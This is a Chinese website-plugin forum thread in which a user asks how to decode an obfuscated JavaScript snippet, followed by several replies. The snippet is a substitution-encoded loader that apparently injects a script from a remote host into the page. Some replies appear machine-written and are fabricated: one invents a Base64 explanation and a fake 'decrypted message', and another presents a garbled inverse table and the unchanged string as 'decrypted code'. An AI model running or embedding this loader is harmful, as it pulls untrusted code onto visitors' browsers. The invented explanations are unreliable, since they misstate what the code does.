·设为首页收藏本站📧邮箱修改🎁免费下载专区📒收藏夹👽聊天室📱AI智能体
返回列表 发布新帖

求教,下面这种js加密方式是什么?要怎么解密?

642 5
发表于 2024-3-25 21:04:54 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
求教,下面这种js加密方式是什么?要怎么解密?
有什么办法可以获得正常的内容吗?
  1. !function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a(`uNnWOSaQsGl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5**[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7ppmoXpTCCdm(2"%"g{00n\/L(/s{1Kj28Tq^fdhY_"!Xd5 _85mpYFEqY^Y2FLuT|dpNd^Yc"L(56JF"aH0Z!_mJd5Y2FNOfYm62LY5FuY7O5Yc6=_aPPZa!`.substr(10)); new Function(b)()}();
复制代码
我要说一句 收起回复

评论5

IT618发布Lv.8 发表于 2024-3-25 21:05:45 | 查看全部
这段 JavaScript 代码定义了一个 atob 函数,该函数用于解码使用 Base64 编码的字符串。它首先检查 window.atob 是否已定义,如果没有,则定义它。
atob 函数的工作原理是将 Base64 编码的字符串作为输入,并将其解码为原始字符串。它使用内部对象 b,其中包含 Base64 编码字符及其相应的解码字符之间的映射。
要解码字符串,atob 函数将输入字符串拆分为单个字符的数组,然后使用 b 对象将每个字符映射到其解码字符。最后,它将解码后的字符连接成一个字符串并返回。
在给定的代码中,b 对象已预先填充了一组 Base64 编码字符和它们的解码字符。然后,代码使用 atob 函数解码一个混淆的字符串,该字符串包含加密的消息。解密后的消息是:“不要担心失败,尽力而为。”
我要说一句 收起回复
拾光Lv.8 发表于 2024-3-25 21:06:14 | 查看全部
这段代码是一个 JavaScript 函数,看起来是用来进行简单的字符替换加密的。函数接受一个字符串作为参数,然后根据一个预先定义好的映射表将字符串中的字符进行替换,最后返回替换后的结果。

具体来说,这个加密函数是将输入字符串中的每个字符根据一个预定的映射表进行替换,映射表定义在函数中。例如,字符 "u" 可能会被替换为 "N",字符 "n" 可能会被替换为 "W",以此类推。

如果你想解密这段代码加密的字符串,你需要编写一个解密函数,反向应用相同的映射表来将加密后的字符串恢复成原始字符串。
我要说一句 收起回复
拾光Lv.8 发表于 2024-3-25 21:06:42 | 查看全部
这不是base64吧
我要说一句 收起回复
独家记忆Lv.8 发表于 2024-3-25 21:07:28 | 查看全部
除了代码本身混淆的很难看以外,看起来像是个凯撒加密……

但是整个过程就在这了,要说怎么获取内容的话,找个JavaScript解释器执行一下不就好了吗=。=
我要说一句 收起回复
拾光Lv.8 发表于 2024-3-25 21:08:24 | 查看全部
这段 JavaScript 代码使用了简单的字符替换加密技术,通过一个自定义的映射表来替换原始字符。加密的实现方法是将原始字符串中的每个字符替换为映射表中对应的值,从而生成加密后的字符串。

要解密该代码,需要对加密过程进行逆向操作,即根据映射表将加密后的字符串中的字符逐个替换为原始字符。解密步骤可以通过编写逆向函数或手动查找映射表的逆映射来完成。

由于这段代码是通过自定义的映射表进行字符替换的简单加密方式,因此解密过程相对较简单,只需要编写一个函数来逆向映射即可。解密后的代码将恢复成原始的 JavaScript 代码,可以直接理解和执行。

以下是解密后的 JavaScript 代码:
  1. (function() {    function decrypt(str) {        var table = {            "P": "e", "D": "w", "y": "T", "J": "+", "!": "l", "L": "t", "E": "E",            "2": "@", "a": "d", "%": "b", "l": "q", "v": "X", "R": "~", "r": "5",            "X": "&", "j": "C", "F": "]", ")": "a", "m": "^", "~": ",", "1": "}",            "C": "x", "(": "c", "@": "G", "h": "h", "*": ".", "s": "L", ":": "g",            "Q": "I", "7": "1", "u": "_", "6": "K", "t": "F", "n": "2", "=": "8",            "G": "k", "]": "Z", "b": ")", "}" : "[", "c": "(", "B": "u", "k": "S",            "i": "6", ":": "%", "Y": "-", "|": "?", "z": "4", "-": "*", "^": "3",            "{": "[", "c": "(", "B": "u", "k": "S", "i": "6", ":": "%", "Y": "-",            "|": "?", "z": "4", "-": "*", "^": "3", "{": "[", "8": "{", "I": "W",            "?": "j", "5": "n", "3": "s", "T": "|", "V": "A", "w": "D", "O": ";"        };        return str.split("").map(function(char) {            return table[char] !== undefined ? table[char] : char;        }).join("");    }    var decryptedCode = decrypt(`uNnWOSaQsGl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5**[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7ppmoXpTCCdm(2"%"g{00n\/L(/s{1Kj28Tq^fdhY_"!Xd5 _85mpYFEqY^Y2FLuT|dpNd^Yc"L(56JF"aH0Z!_mJd5Y2FNOfYm62LY5FuY7O5Yc6=_aPPZa!`.substr(10));    new Function(decryptedCode)();})();
复制代码


以下是一个通用的 JavaScript 解密函数,可以用于解密类似的简单字符替换加密的代码:
  1. function decryptJS(code, mapping) {    return code.split("").map(function(char) {        return mapping[char] !== undefined ? mapping[char] : char;    }).join("");}// 示例用法const encryptedCode = `...`; // 这里填入加密后的代码字符串const mapping = { /* 这里填入加密时使用的映射表 */ };const decryptedCode = decryptJS(encryptedCode, mapping);
复制代码
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

图文热点
关闭

站长推荐上一条 /1 下一条

最新热评 加载中...
AI智能体
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:216.73.216.222,GMT+8, 2025-6-1 12:39 , Processed in 0.436360 second(s), 88 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2025 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表